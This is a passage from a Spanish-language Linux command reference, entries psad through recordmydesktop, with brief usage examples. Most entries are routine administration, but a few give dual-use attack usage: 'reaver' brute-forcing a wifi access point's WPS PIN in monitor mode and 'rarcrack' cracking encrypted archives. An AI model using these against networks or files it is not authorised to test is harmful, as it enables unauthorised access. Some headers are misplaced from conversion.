# psad -status
```

```
# psad -A
analizar los logs de iptables en busca de scaneos
```

```
# psad -A -i eth0
Analizar a partir de los logs de iptables e indicando red
```

```
# psad -F
eliminar cualquier bloqueo de firewall generado automáticamente
```

```
# psad -S
Muestra el estado de cualquier proceso psad que pueda estar ejecutándose. La salida muestra una lista de los paquetes que psad ha procesado, junto con todas las direcciones IP y los niveles de peligro correspondientes que han escaneado la red
```

## psbook

[psutils]. Paginar un archivo ps para imprimir como libro. Ver ps2pdf.

## psktool

[gnutls]. Programa que genera claves aleatorias para uso TLS-PSK. Las claves se almacenan en formato hexadecimal en un archivo de claves.

```
$ psktool -u USER
genera clave para el usuario mencionado y la guarda en /etc/passwd.psk
```

```
$ psktool -u USER -p clave.psk
la guarda en el archivo clave.psk
```

## pslist

Examina la lista de los procesos y muestra el ID y los PIDs de los procesos hijos.

```
$ pslist
Muestra todo el listado
```

```
$ pslist chromium
Mostrará sólo el de la aplicación especificada
```

```
$ pslist 26995
Mostrará sólo la del PID especificado
```

## pslog

Informar de la ruta de los registros de un proceso.

pslog PID (del pid mencionado)

## ps\_mem

Script de Python para conocer la memoria RAM que consume cada aplicación de nuestro equipo aunque tenga abiertos varios procesos. Descarga:

```
# wget https://raw.githubusercontent.com/pixelb/ps_mem/master/ps_mem.py
```

También puede instalarse con pip caso de tenerlo instalado: # pip install ps\_mem

```
# python ps_mem.py -S
De todos los programas que se están ejecutando
```

```
# python ps_mem.py -w 5
Actualizando datos cada 5 segundos
```

```
# python ps_mem.py -t
Mostrar el total de todos los procesos
```

```
# python ps_mem.py -p 5123
Mostrar el consumo del PID mencionado
```

## psmisc

Utilidades que utilizan el sistema de archivos proc. Incluye las aplicaciones: fuser [identifica procesos que están utilizando archivos o sockets.], killall [mata procesos por nombre], peekfd [muestra los datos que viajan sobre un descriptor de archivo], prtstat [imprime el contenido de /proc /<pid>/stat], pslog [Las utilidades que utilizan el sistema de archivos proc informan la ruta de los registros actuales de un proceso.], pstree y pstree.x11 [muestran los procesos en ejecución como un árbol].

## psst

[Power Stress and Shaping Tool]. Herramienta que controla componentes Intel como CPU y GPU. Permite un control de la función de estrés sin su propia sobrecarga de proceso. Los logs en /var/log/psst.csv

```
# psst
# psst -v -d 10000 -s saw-tooth,5 -C a -p 500
```

## pstotext

Lee uno o más archivos PostScript o PDF y escribe su representación en txt o en otro formato que se especifique.

```
$ pstotext archivo.pdf > salida.xml
```

## pstree

Para ver el árbol de procesos

```
$ pstree -al
verlo con cada uno de sus hilos de ejecución
```

## psutils

Colección de utilidades para manipular documentos PostScript. Se admite la selección y reorganización de páginas y la combinación de páginas para la impresión de varias páginas por cara. Incluye los siguientes programas: epsffit, extractres, fixdlsrps, fixfmpps, fixmacps, fixpsditps, fixpspps, fixscribeps, fixtpps, fixwfwps, fixwpps, fixwwps, getafm, includeres, psbook, psmerge, psnup, psresize, psselect, pstops, showchar

## ptop

Muestra una lista ordenada de procesos del sistema. Los procesos se ordenan con los usuarios con mayor cantidad de CPU en la parte superior. Es capaz de decodificar líneas de comando de Python, Ruby, Perl, Node, Java, bash, sh, zsh y mostrar lo que realmente se está ejecutando. Muestra una salida estable al contar el tiempo de CPU desde que se inició ptop. Proporciona un histograma de carga del sistema, tiempos de actividad y muestra la carga del sistema en relación con la cantidad de núcleos lógicos y físicos del sistema.

```
$ ptop
```

## ptx

genera un índice permutado de los contenidos de un fichero, con cada palabra clave en su contexto.

```
$ ptx archivo.txt
```

## pub2odg

Este paquete contiene una utilidad para convertir documentos de Publisher en documentos OpenDocument .

```
$ pub2odg archivo.pub archivo.odf
si se omite el archivo de salida se impreme en pantalla
```

## pulseaudio

Servidor de sonido multiplataforma.

```
$ pulseaudio -D
Reiniciar el servicio
```

1.-

Habilitar la salida de audio combinada a todos los dispositivos (analógicos y hdmi)

```
# nano /etc/pulse/default.pa
```

Y añadir la línea:

```
load-module module-combine-sink sink_name=combined
```

## pureline

Utilidad escrita en bash que muestra de una manera distinta el prompt de la shell.

Instalación:

Instalación de pureline

```
$ git clone https://github.com/chris-marsh/pureline.git
$ cp -r pureline ~/.pureline
$ cd pureline/
$ cp configs/powerline_full_256col.conf ~/.pureline.conf
$ source ~/.pureline/pureline .pureline.conf
$ souce ~/.bashrc
```

El archivo de configuración está en ~/.pureline.conf. El resultado se observa al abrir una nueva terminal

## purge-old-kernels

[bikeshed] Herramienta que elimina kernels antiguos, tanto los paquetes linux-image como los linux-headers, dejando por defecto solo los dos últimos .

```
# purge-old-kernels
forma básica
```

```
# purge-old-kernels --keep 4
Mantendrá los 4 últimos kernels
```

## pushd

Moverse al directorio especificado, como con cd, pero el directorio anterior se guarda en una pila al que puede volverse.

```
[~]$ pushd /usr/share/apache2/icons (del dir personal entramos en icons)

[/usr/share/apache2/icons]$ pushd /var/www/ (de icons a www)

[/var/www]$ pushd /lib/init/rw/apache2 (de www a apache2)

[/lib/init/rw/apache2]$ popd (retrocedemos un directorio en la pila)

[/var/www]$ popd (retrocedemos otro directorio de la pila)

[/usr/share/apache2/icons]$ dirs (nos informa de la pila de directorios en cada momento)
```

## pv

Visualizar el progreso de un proceso

```
$ echo "Este texto se escribirá letra a letra hasta terminar con toda la frase" | pv -qL 10
Escribir un texto letra a letra
```

```
$ cat /etc/apt/sources.list | pv -qL 10
lo mismo de un archivo
```

```
$ pv archivo1 > archivo2
copiar archivo mostrando el progreso
```

```
$ pv -tpreb /dev/urandom | dd of=file.img
ejemplo hacia un archivo
```

```
$ pv /dev/urandom -L 3m > /dev/null
otro ejemplo del comportamiento de pv
```

## pvdiskdisplay

Ver características de un volumen físico.

```
# pvdiskdisplay /dev/sda2

# pvdiskdisplay -s /dev/sda2
conocer el espacio disponible en dicho un volumen físico
```



## pvesh

ssh restrictivo propio de proxmox.

```
$ pvesh get /nodes/virtual1/qemu
Obtener un listado de todas las máquinas virtuales
```

```
$ pvesh create /nodes/virtual1/qemu/100/status/start
Arrancar la VM con id 100
```

```
$ pvesh get /nodes/virtual1/qemu/100/config
Obtener toda la configuración de la VM con id 100
```

```
$ pvesh delete /nodes/virtual1/qemu/100
Borrar la máquina virtual con id 100
```

```
$ pvesh get /nodes/virtual1/storage
Obtener la información de los _Storages_
```

```
$ pvesh create /access/users -userid usuario@pve
Crear usuario
```

```
$ pvesh delete /access/users/usuario@pve
Eliminar usuario
```

## pwck

Verifica la integridad de los archivos de claves [/etc/passwd y /etc/shadow]

```
# pwck
Salida vacia significa todo correcto
```

```
# pwck /etc/passwd
```

## pwconv

Hace visible el archivo /etc/shadow que previamente se había hecho invisible con el comando pwunconv .

```
# pwconv
```

## pwd

Mostrar el directorio actual.

## pwdx

Informa del directorio actual de uno o varios procesos.

```
$ pwdx pid pid pid
```

## pwgen

Genera claves aleatoriamente

```
$ pwgen
Las más simples

$ pwgen -Bcsy
generar un password de 10 cifras con caracteres raros

$ pwgen -Bcs 10 4
crear 4 contraseñas de 10 caracteres
```

opciones:

```
-B      (ambiguas)
-c      (con mayusculas, por defecto)
-n      (con números)
-y      (con símbolos)
-s      (totalmente aleatoria)
```

## pwman3

Interfaz para la gestión de contraseñas. Le permite almacenar su contraseña en una base de datos sqlite bloqueada por una contraseña maestra.

Algunas opciones a modificar o incorporar en el archivo de configuración:

```
# nano ~/.config/pwman3/config

[Global]

cls_timeout = 0 # (Sin borrar la pantalla. Con un número, por ejemplo 10, se borrará a los 10 segundos)

xsel = yes

[Generator]

numerics = true # (crear una contraseña a partir del carácter numérico y el carácter alfabético [A-Za-z0-9])

special_signs = true # (aceptar signos especiales tipo: "@", "#", "?", "!", "'", "\"", "$", "%", "^", "&" ...)
```

```
default_pw_length = 40 # (longitud de la contraseña)

# pwman3
lanzar la aplicación y entrar en el prompt
```

```
pwman3> h (muestra las opciones disponibles)

pwman3> tags (enumera todas las etiqueta)

pwman3> l tags (los usuario englobados en la etiqueta)

pwman3> n (entrar nuevo usuario, contraseña, url y tag)

pwman3> p 2 (mostrar los datos del número 2 del listado)

pwman3> exit (salir)
```

## pwunconv

Hace invisible el archivo /etc/shadow que previamente se había hecho visible con el comando pwconv.

```
# pwunconv
```

## pydf

Muestra información sobre todos los sistemas de archivos montados de forma coloreada.

```
$ pydf -a
Incluye los sistemas que contengan 0 bloques
```

```
$ pydf -h
las particiones montadas y su ocupación
```

```
$ pydf -i
información por inodos en lugar de bloques
```

## pydoc

Documentación de python.

```
$ pydoc -p 13000
Abrir la documentacion de python en el puerto 13000 para su acceso via navegador
```

```
$ pydoc dbhash
información sobre el comando dbhash de python
```

```
$ pydoc -w sha
crea el archivo sha.html para abrirlo con el navegador y mostrar la información sobre el módulo
```

## pygtail

Herramienta para leer archivos de registro capaz de manejar archivos de registro que rotan.

```
# pygtail /var/log/syslog
```

## pyhtmlizer

Generar un documento HTML con las fuentes de un archivo en Python. Para colorear se ha de proporcionar una hoja de estilo.

```
$ pyhtmlizer archivo.py
Crea un html archivo.py.html que se puede visualizar en el navegador
```

```
$ pyhtmlizer -s URL archivo.py
la URL ha de ser el css para colorear la salida de archivo.py.html
```

## pyphoon

[python-dateutils] Muestra en ascii las fases de la luna. descarga: <<https://github.com/chubin/pyphoon>> . Acepta varios formatos de fecha (2017-02-01, 01/02/2017...)

```
$ pyphoon
En el día de hoy y con 30 líneas [por defecto]
```

```
$ pyphoon -n 40 04-02-2917
con 40 líneas y especificando la fecha
```

## pyradio

[mplayer python-pip] Emisoras de radio por consola. Descarga, descomprimir e instalar:

```
$ wget https://github.com/coderholic/pyradio/archive/master.zip
$ unzip master.zip
$ cd pyradio-master
# pip install pyradio
```

```
$ pyradio -l
Ver listado de emisoras
```

Añadir una emisora:

```
# pyradio -a
Enter the name: "Música Classica Uruguay"
Enter the url: "http://radio.sodreuruguay.com:9090/listen.pls"
```

```
$ pyradio
Arrancar la aplicación
```

## pyroom

Editor minimalista.

Atajos:

```
Ctrl + h (Muestra la ayuda)
Ctrl + i (Información del búfer)
Ctrl + p (Abre preferencias)
Ctrl + n (Crear nuevo buffer)
Ctrl + o (Abrir archivo)
Ctrl + q (salir)
Ctrl + s (Guardar)
Ctrl + shift + s (Guardar búfer como...)
Ctrl + w (Cerrar búfer y salir si era el último búfer)
Ctrl + y (Rehacer la última modificación)
Ctrl + z (Deshacer la última modificación)
Ctrl + RePág (Cambia al buffer anterior)
Ctrl + AvPág (Cambia al siguiente búfer)
```

## python

Lenguaje de programación

```
$ python
abre la shell de python para introducir comandos
```

```
$ python -c 'print "x"*50'
escribe una línea xxxxx de 50 caracteres
```

```
$ python -m SimpleHTTPServer
Abre un servidor web en la carpeta actual. Para visualizarla desde un ordenador de la red local en el navegador con http://ip:8000
```

```
$ python -c "import SimpleHTTPServer; SimpleHTTPServer.test()" (lo mismo pero incluyendo los subdirectorios). Cancelar los procesos con Ctrl+c
```

```
$ python3 -m http.server
Otra forma de crear un servidor en el propio directorio
```

```
$ python -m SimpleHTTPServer 8080
crea un servidor por el puesto especificado
```

```
$ python -m smtpd -n -c DebuggingServer localhost:25
Iniciar un servidor de correos en el puerto especificado
```

```
$ python -m pyftplib.ftplibserver
```

## P

```
inicia servidor ftp
```

```
$ python -m webbrowser http://web.com  
Abre una página en el navegador
```

```
$ python -m urllib http://web.com  
Obtener código fuente de una página
```

```
$ python -m htmllib test.html  
Eliminar etiquetas html de un archivo html
```

```
$ python -m filecmp dir1 dir2  
Comparar dos directorios
```

```
$ python -m calendar  
Mostrar calendario
```

```
$ python -m calendar 2013 07  
Mostrar un mes concreto de un año
```

```
$ python -c "help('modules')"  
Muestra los módulos instalados
```

```
$ python -m platform  
Como uname -a
```

```
$ echo "Linux es un sistema genial" | python -m encodings.rot_13  
Codificar simple en ROT_13 [rotar 13 veces]
```

```
$ echo "Yvahk rf ha fvfgrzn travny" | python -m encodings.rot_13  
Descodificar en ROT_13
```

```
$ echo "Linux es un sistema genial" | python -m base64 -e  
Codificar en base64
```

```
$ echo "TGludXggZXMgdW4gc2lzdGVtYSBnZW5pYWwK" | python -m base64 -d  
Descodificar en base64
```

## python-hachoir-metadata

Herramientas para extraer metadatos de imagenes. Soporta 32 formatos distintos de archivos.

```
$ hachoir-metadata imagen
```

## pyversions

Muestra información sobre las versiones de python instaladas en el sistema.

```
$ pyversions -d  
muestra la por defecto
```

```
$ pyversions -s  
las soportadas
```

```
$ pyversions -i  
las instaladas
```

## px

analiza las líneas de comando de Python, Ruby, Node, Perl, Java, bash, zh, sh y le muestra lo que realmente se está ejecutando. px puede filtrar procesos por propietario ("px root"), buscar procesos por línea de comando y enumerar los procesos en un orden útil.

```
$ px user
```

```
$ px root
```

```
$ px --debug firefox
```

---

## Q

---

### qcp

[renameutils]. Funciona como qmv [ver], pero copia los archivos en lugar de renombrarlos. Mantendrá tanto los archivos originales como los duplicados.

```
$ qcp dir
```

### qemu-nbd

Utilidad de Qemu para poder montar discos virtuales. Crea un disco de red. Es necesario cargar el módulo nbd (modprobe nbd)

```
# qemu-nbd -c /dev/nbd0 fichero.vdi
Crear dispositivo de disco de red a partir del fichero vdi de VirtualBox. Ahora hay que montar la
partición con mount /dev/nbd0p1 /mnt
```

### qiv

Visor de imágenes muy pequeño y bastante rápido. Las características incluyen zoom, maxpect, reducción de escala, pantalla completa, corrección de brillo/contraste/gamma, presentación de diapositivas, desplazamiento con teclado y mouse, rotar hacia la izquierda/derecha, voltear, eliminar (mover a .qiv-trash/), saltar imagenes...

```
% qiv imagen.png
```

### qmv

[renameutils]. Abrirá los nombres de los archivos en un directorio con el editor de texto predeterminado y permitirá editarlos.

```
$ qmv dir
renombrar los nombres de los archivos del directorio
```

```
$ qmv -f do dir
mostrar sólo la columna del archivo de destino [f], 'do' se refiere al destino y el directorio
```

### qpdf

Programa para analizar y modificar la estructura de los archivos PDF.

```
$ qpdf --decrypt protegido.pdf salida.pdf
eliminar toda la información relativa al cifrado
```

## Q

```
$ qpdf --show-encryption test.pdf
```

Ver el tipo de seguridad y cifrado utilizado

```
$ qpdf --empty --pages entrada.pdf 1-5 -- salida.pdf
```

Extraer las primeras cinco hojas de un documento

```
$ qpdf --empty --pages entrada.pdf z-1 -- salida.pdf
```

Reordenar las páginas de un documento en orden inverso

```
$ qpdf --empty --pages doc1.pdf 1-z doc2.pdf 1-6 -- salida.pdf
```

Unir todo un documento con las 6 primeras páginas de otro

```
$ qpdf --optimize-images entrada.pdf salida.pdf
```

optimiza las imágenes del PDF para optimizar el tamaño del archivo. Útil para documentos escaneados con xsane u otros programas

## qrencode

Codifica datos de entrada en código QR y los guarda en una imagen png.

```
$ qrencode -o output.png 'linux es genial'
```

## quiterss

Lector de noticias.

Algunos atajos:

+ (Siguiente noticia sin leer)

- (Anterior noticia sin leer)

Ctrl+r (Marcar canal como leído)

Ctrl+R (Marcar todos los canales como leídos)

Ctrl+Flechas arriba/abajo (Subir/bajar canal)

Flechas derecha/izquierda (Subir/bajar noticias)

espacio (Abrir en una pestaña)

Ctrl+o (Abrir en el navegador externo)

Ctrl+w (Cerrar pestaña)

F5 (Actualizar canal)

Ctrl+F5 (Actualizar todos los canales)

F8 (Abrir opciones)

Ctrl+q (Salir)

## quiz

Pruebas de conocimiento al azar [en inglés]

```
$ quiz
```

Listara los temas posibles

```
$ quiz Europe capital
```

Preguntará capitales de Europa. Si no se sabe la respuesta pulsar intro en blanco y mostrará la respuesta

## quota

[quotatool]. Limitar el uso del espacio de disco para cada usuario de un servidor. El proceso es como sigue:

```
# nano /etc/fstab
```

Modificar la línea parecida a:

```
/dev/hdb2    /home    ext2    errors=remount-ro    0    1
añadiendo usrquota y grpquota con sigue:
```

```
/dev/hdb2    /home    ext2    errors=remount-ro,usrquota,grpquota    0    1
Reiniciar el servidor.
```

```
# quotacheck -avug
La primera vez muestra advertencia, prescindir de ellas
```

```
# quotaon /home
Activar las cuotas
```

```
# edquota USER1
activar cuotas para un usuario
```

```
# edquota -p USER1 USER2
Otorgar a USER2 la misma cuota que USER1
```

```
# quota USER2
Comprobar si un usuario tiene cuota
```

## quotacheck

[quota quotatool]. Cuando una máquina la usan varios usuarios o grupos y queremos controlar el espacio usado por cada uno de ellos, tenemos la opción de activar el sistema de cuotas a nivel de sistema de ficheros de modo que podamos personalizar por usuario y grupo el espacio máximo o número de inodos que pueden utilizar.

```
# quotacheck -c -u usuario
comprobar si un usuario tiene cuotas
```

```
# quotacheck -cgumv /
mirar q̃ existen cuotas en la raíz
```

Los parámetros son:

- c (Escaneo del sistema de ficheros en busca de cuotas)
- g (Busca cuotas de grupos)
- u (Busca cuotas de usuarios)
- m (No intenta hacer un remount en sistemas read-only)
- v (Verbose)



---

## R

---

### radeontop

Utilidad para ver el uso de GPU detallado por componentes y el uso de VRAM de tarjetas gráficas ATi/AMD Radeon a partir de R600

```
$ radeontop
```

### rain

[bsdgames]. Muestra chapoteo de agua en la terminal.

```
$ rain -d 120
```

```
El máximo de lento. Por defecto 0 [rápido]
```

### rails

Proporciona estructuras estándar para bases de datos, servidores web y sitios web. Precisa varias dependencias rvm, rbenv, postgres, algunos paquetes ruby...

```
$ rails new ~/weblog
```

```
$ cd weblog
```

```
$ rails s -b localhost -p 3000
```

```
$ firefox localhost:3000  
para ver el resultado
```

### ramfs

Permite asignar parte de la memoria física para ser utilizada como una partición lo que permite una vez montada, leer o escribir archivos de la RAM como si de una partición de disco se tratara. Dado que se está escribiendo en la memoria RAM del sistema, esta se borra en un reinicio o en un cuelgue. Relacionado con tmpfs [ver], se diferencia de este en que ramfs no usa swap y que si se supera la RAM del sistema, se bloquea. El proceso:

```
# mkdir /media/ram
```

```
# mount -t ramfs -o size=20m ramfs /media/ram
```

Comprobar con `df -k [ver]` o `mount [ver]` su correcto montaje

## randmac

imprime una dirección MAC aleatoria para interfaces de máquinas virtuales.

```
$ randmac -l -e
local y con dirección EUI64
```

```
$ randmac -g -u
global y para unicast
```

```
$ randmac -U -m
para multidifusión y dígitos hexadecimales en mayúsculas
```

## random

Función interna de Bash que devuelve un número entero pseudoaleatorio en el rango: 0 - 32767. Para establecer un límite superior se utiliza la función módulo [%] y para un número inferior se le suma el propio número inferior.

```
$ echo $RANDOM
Cualquier número aleatorio dentro del rango
```

```
$ echo $((RANDOM%20))
Obtener un número de 0 a 20
```

```
$ echo $((5+RANDOM%15))
Obtener un número de 5 a 15
```

```
$ VARIABLE='echo $((RANDOM))'
```

## randtype

Utilidad para leer un archivo y mostrar la salida carácter por carácter o línea por línea a intervalos aleatorios.

```
$ randtype archivo
forma básica con valores por defecto
```

```
$ randtype -t 10,100000 archivo
Retarda la salida de forma aleatoria entre 10 y 100000 microsegundos
```

```
$ echo "Linux es un sistema genial" | randtype -m 4
Simulando 4 errores en el tecleo de la frase
```

## ranger

[caca-utils highlight atool w3m poppler-utils mediainfo]. Navegador de archivos estilo vim [ver]. Preferible lanzarlo sobre xterm o urxvt. Algunos temas en < <http://dotshare.it/category/fms/ranger/> . El directorio de temas está en /usr/lib/python2.6/dist-packages/ranger/colorschemes [puede ser tambien python2.7] y los nuevos temas pueden colocarse en .config/ranger/colorschemes/ [Si no existe se crea] .Antes de la primera configuración lanzar:

```
$ ranger
Crearé los archivos necesarios en .config/ranger
```

```
$ ranger --copy-config=all
Copiar configuración básica en el directorio creado
```

Los ajustes en:

```
$ nano .config/ranger/options.py
```

Nota.- En algunas versiones en .config/ranger/rc.conf

Para modificar el tema:

## R

```
colorscheme = 'jungle'
Para bordes en los campos:
```

```
draw_borders = True
Algunos atajos:
```

```
gg (Ir al principio del directorio)
G (Ir al final del directorio)
s (Arranca una shell en el directorio actual)
s -w comando (mostrará la salida de "comando y no cerrará la shell hasta pulsar intro)
```

```
s -r comando (Pedirá la contraseña para ejecutar "comando")
```

```
yy [F5] (copiar selección)
dd [F6] (Cortar selección)
pp (Pegar selección)
ma (crea un marcador del presente directorio con el nombre "a")
'a (Ir al directorio con marcador "a")
uv (Suprimir todas las marcas de archivos)
m (abre marcadores)
Espacio (marcar archivo desplazándolo un espacio en el listado)
gn (Abrir nueva pestaña. El número de pestañas se muestra en la parte superior derecha)
gt [TAB] (Cambiar de pestaña)
gc (Cerrar una pestaña)
:delete (borrar un archivo)
:rename (renombrar un archivo)
r (Abre el archivo con una aplicacion a elegir)
Ctrl+H (Mostrar/ocultar archivos ocultos)
/ (buscar archivo en el presente directorio)
? [F1] (Ver la pagina man)
1? (Listado de atajos de teclado)
2? (Comandos de ayuda)
3? (Herramientas de ayuda)
F3 (Mostrar archivo.Nueva pulsación de F3 salir)
F4 (Editar archivo)
F7 (Crear directorio)
F8 Suprimir selección de archivos
R (Actualizar directorio)
! (Entrar comandos de shell)
Ctrl+z (Salir a la shell. "fg" para volver a ranger)
Q [F10] (salir)
```

## rankmirrors

Optimiza los mirrors de pacman.

```
# cp mirrorlist mirrorlist.backup
```

```
# rankmirrors mirrorlist.backup >> mirrorlist
```

## ranlib

Genera un índice del contenido de un archivo y lo almacena en el archivo. El programa ranlib es otra forma de GNU ar [ver]; ejecutar ranlib es completamente equivalente a ejecutar ar -s.

## rar

Empaqueta y comprime

```
$ rar a archivo.rar fichero1 fichero2
Comprimir varios ficheros
```

```
$ rar x archivo.rar
Descomprimir
```

```
$ rar v archivo.rar
```

## R

---

```
Ver contenido
```

```
$ rar a archivo.rar fichero -hp  
empaquetar un fichero con contraseña
```

```
$ rar a archivo.rar file1 file2 dir1  
comprimir varios ficheros y directorios simultáneamente
```

## rarcrack

crequear archivos encriptados.

```
# rarcrack archivo --type zip --threads 5  
especificando el tipo de compresión y con hasta 5 caracteres
```

## rarp

Manipula la tabla rarp del nucleo.

```
$ rarp -a  
Lista las entradas de la caché si el nucleo tiene soporte rarp
```

```
$ rarp -d hostname  
Elimina una entrada de la caché
```

## raspi-config

Acceso a los parámetros de configuración de la placa RaspberriPi

## ratpoison

Es un administrador de ventanas simple, sin gráficos sofisticados, sin decoraciones en las ventanas y sin dependencia de mouse. Está inspirado en gran medida en GNU Screen. La pantalla se puede dividir en cuadros que no se superpongan. Todas las ventanas se mantienen maximizadas dentro de sus marcos para aprovechar al máximo el valioso espacio de su pantalla. Toda la interacción con el administrador de ventanas se realiza mediante pulsaciones de teclas. ratpoison tiene un mapa de prefijos para minimizar la manipulación de teclas.

```
# startx $(which ratpoison)  
arrancar el administrador de ventanas
```

Teclas útiles

C-t . (menú)

C-t ? (ayuda)

C-t c (abrir una terminal)

C-t a (visualización de la fecha)

C-t w (listar todas las ventanas)

C-t A (establece título de la ventana)

C-t k (mata la ventana actual)

C-t ! (ejecutar un comando de shell)

## R

---

C-t ' (seleccionar ventana por número o el comienzo de su nombre sin distingue entre mayúsculas y minúsculas)

C-t 1 (ir a la ventana número 1. Lo mismo para con los números de 2 al 9)

C-t s (dividir marco horizontalmente)

C-t S (dividir marco verticalmente)

C-t Tab (cambia el foco a la siguiente ventana en el marco)

C-t Q (hacer que la ventana enfocada actual sea la única en el marco)

C-t r (cambiar tamaño del marco usando las teclas del cursor y enter)

C-t R (eliminar la ventana actual del marco)

C-t f (seleccionar una ventana en el marco actual usando números)

C-t u (deshacer un comando anterior)

C-t U (rehacer el comando deshecho)

C-t x (intercambiar la ventana actual con una seleccionada por otra en el cuadro actual)

C-t F (muestra la ventana actual)

C-t C-t (va al último frame)

C-t : comando (ejecutar un comando que tambien puede agregarse al archivo ~/.ratpoisonrc)

C-t b (destierra el mouse a una esquina de la pantalla)

C-t F9 (salir de ratpoison)

Los comandos ratpoison con C-t :

set (muestra toda la configuración)

bind (asocia una tecla a un comando. Si la tecla ya está ocupada , primero se ha de ejecutar el comando unbind)

bargravity ne (hace que la ventana barra se muestre en la esquina superior derecha. Otros valores: nw, se, sw)

tmpwm (permite lanzar un gestor de ventanas temporal. P.ej: para ejecutar la aplicación gimp)

number (cambia el número de la ventana)

select (selecciona una ventana mediante su número o el comienzo de su nombre. No distingue entre mayúsculas y minúsculas)

exec (ejecuta un programa en un proceso diferente)

msgwait (número de segundos que se muestra la salida de un comando en la pantalla)

## rbash

shell restringido. Se usa para imponer a un usuario un entorno severamente limitado en el que, por ejemplo, no podrá cambiar de directorio [cd], especificar nombre que contengan la /, redirigir la salida usando operadores de redirección [>, <, >>], reemplazar la shell, desactivar el modo restringido, etc. Equivalente a "bash -c"

```
# adduser -s /bin/rbash juan
Crear un usuario con shell restringido
```

```
# usermod -s /bin/rbash juan
Modificar la shell de un usuario ya establecido
```

Si queremos ampliar la cantidad de comandos a disposición de un usuario limitado editamos de su directorio personal el archivo .bash\_profile:

```
# nano .bash_profile
```

Y añadimos o modificamos las siguientes líneas:

```
PATH=$HOME/apps
export PATH
```

Creamos el directorio

```
# mkdir /home/juan/apps
```

Y añadimos enlaces de los binarios que queramos permitir al usuario [en este caso ls, cp y cat]

```
# ln -s /bin/ls /home/juan/apps/
# ln -s /bin/cp /home/juan/apps/
# ln -s /bin/cat /home/juan/apps/
```

Y bloqueamos el archivo:

```
# chattr +i /home/juan/.bash_profile
```

## rbenv

Permite cambiar entre múltiples versiones de Ruby. Entrar en .bashrc la línea:

```
eval "$(~/rbenv/bin/rbenv init - bash)"
```

```
$ rbenv init
```

```
$ rbenv commands
listar todos los comandos disponibles
```

## rcconf

Parar/arrancar procesos durante el inicio

```
$ rcconf -now
```

## rc.d

Inicia o para servicios en Arch Linux

```
# rc.d start servicio
inicia el demonio o servicio
```

```
# rc.d restart servicio
Reinicia el demonio
```

```
# rc.d stop servicio
Para el servicio
```

## rdesktop

Conexión a escritorio remoto.

```
$ rdesktop -k es -g 1024x768 -u USER -p PASS -a 15 -T tux -D client
Especificando teclado español [k], medidas de la ventana [g], usuario [u] y contraseña [p],
especificar un ícono para la ventana [T] y suprimiendo la decoración de la ventana [D]
```

## rdiff-backup

Backups incrementales locales o remotos. La aplicación ha de estar instalada en el cliente y en el servidor.

```
$ rdiff-backup --force 192.168.1.20::/home/USER/dir_remoto /home/USER/dir_local
Realiza un backup del dir_remoto de la máquina 20 de la red y lo guarda en nuestro dir_local sin
comprimir
```

```
$ rdiff-backup /home/USER /media/datos/Backups/home_user.backup
Un backup de un directorio personal
```

## read

Espera una entrada por teclado y le asigna una variable, aunque contenga espacios.

```
$ read -p "dime tu nombre " NOMBRE
$ echo $NOMBRE
La opción "p" también permite entrar varias variables simultáneamente:
```

```
$ read -p "entra 3 nombres" PRIMERO SEGUNDO TERCERO
$ echo "Hola $PRIMERO $SEGUNDO $TERCERO"
La opción -a permite leer las palabras como elementos de un array:
```

```
$ read -a frase
Hola que tal
$ declare -p frase
declare -a frase=([0]="Hola" [1]="que" [2]="tal")'
```

```
$ read -s -p "entra la contraseña: " CONTRASEÑA
Para que no se vea en la pantalla lo que se escribe aunque si se efectúa un echo $CONTRASEÑA se
mostrará
```

Algunas opciones:

-d (permite indicar un delimitador de fin de línea de forma que la línea se lee hasta encontrar este delimitador)

-e (permite que se puedan usar todas las combinaciones de teclas de readline)

-t 3 (Especificar un tiempo de espera en la entrada de datos antes de volver al prompt)

-n 1 (Efectuará la acción al pulsar una tecla sin necesidad de pulsar "Intro")

## readlink

Muestra donde apunta un enlace simbólico.

```
$ readlink enlace
$ readlink -f enlace
Muestra el path absoluto
```

## readonly

Permite declarar variables de solo lectura [No modificables].

```
$ readonly -p
Las muestra todas
```

```
$ readonly -f var
Crear la funcion "var" de solo lectura
```

```
$ readonly -r var
Quita el atributo de "solo lectura" pero no permite redefinirla
```

## readpst

Herramienta para convertir base de datos de Outlook en PST a eml para su posterior exportación a Thunderbird

```
$ readpst -o -r miarchivo.pst
```

```
$ readpst -M -b -e -o carpeta-destino miarchivo.pst
Generará los archivos EML en la carpeta-destino
```

## realpath

Muestra el path real de un enlace, un fichero o un directorio.

```
$ realpath -P Musica
si es un enlace
```

```
$ realpath -e archivo
de un archivo
```

## reaver

Herramienta que lleva a cabo un ataque de fuerza bruta contra el número pin de la configuración protegida de un punto de acceso wifi. Precisa poner nuestra targeta en modo monitor (airmon-ng start wlan0)

```
# reaver -i mon0 -b 00:01:02:03:04:05
Mínimo requerido, especificar nombre de la interfaz y BSSID
```

Algunas opciones:

```
--fixed (Fijando canal de la interfaz)
-t 2 (Tiempo de espera de la recepción de paquetes. Por defecto 5)
-d 0 (Desactivar tiempo de espera entre pins. Por defecto 1 segundo)
-vv (Incrementar el nivel de detalle)
```

## reboot

Reiniciar el sistema.

```
$ reboot -f
Fonzandolo
```

## recap

Vuelca información periódica sobre la ejecución de aplicaciones y el uso de recursos. Se almacena en el archivo /var/log/recap/recap.log. Los valores para los que se generan los informes y cuántos informes se almacenan se pueden especificar en /etc/recap.conf.



## recaplog

[recap]. Maneja los registros generados por recap, comprimiendo y/o borrando los archivos de registro de /var/log/recap/recap.log

```
# recaplog -n
```

## recaptool

[recap]. Analiza los registros e imprime información específica sobre la memoria, los procesos, las conexiones de red o las consultas a una base de datos mysql.

```
# recaptool -b ssh
la memoria del servicio ssh
```

```
# recaptool -e 80
del puerto 80
```

```
# recaptool -q
de la base de datos mysql
```

```
# recaptool -m http -e 80 -q
del servicio html del puerto 80 y la base de datos mysql
```

## recode

Convierte archivos a distintos formatos de caracteres

```
$ recode -l | less
listado de conversiones disponibles
```

```
$ recode iso8859-15..utf8 file.txt (cambiar caracteres iso... a utf.. de file.txt)
```

```
$ recode iso8859-15../b64 file.txt
de caracteres iso.. a codificacion base64
```

```
$ recode -lf iso8859-15 | grep euro
buscar tabla de caracteres
```

```
$ cat file.txt | recode ISO_8859-1..UTF8 > nuevo.txt
De iso8859-1 a utf-8
```

```
$ recode ..HTML < file.txt > file.html
pasar un texto a html
```

## recordmydesktop

Grabar el escritorio.

```
$ recordmydesktop -o video.ogv
Especificando nombre del archivo de salida. Si no consta por defecto es out.ogv
```

```
$ recordmydesktop --no-cursor
Sin grabar el cursor
```

```
$ recordmydesktop --follow-mouse
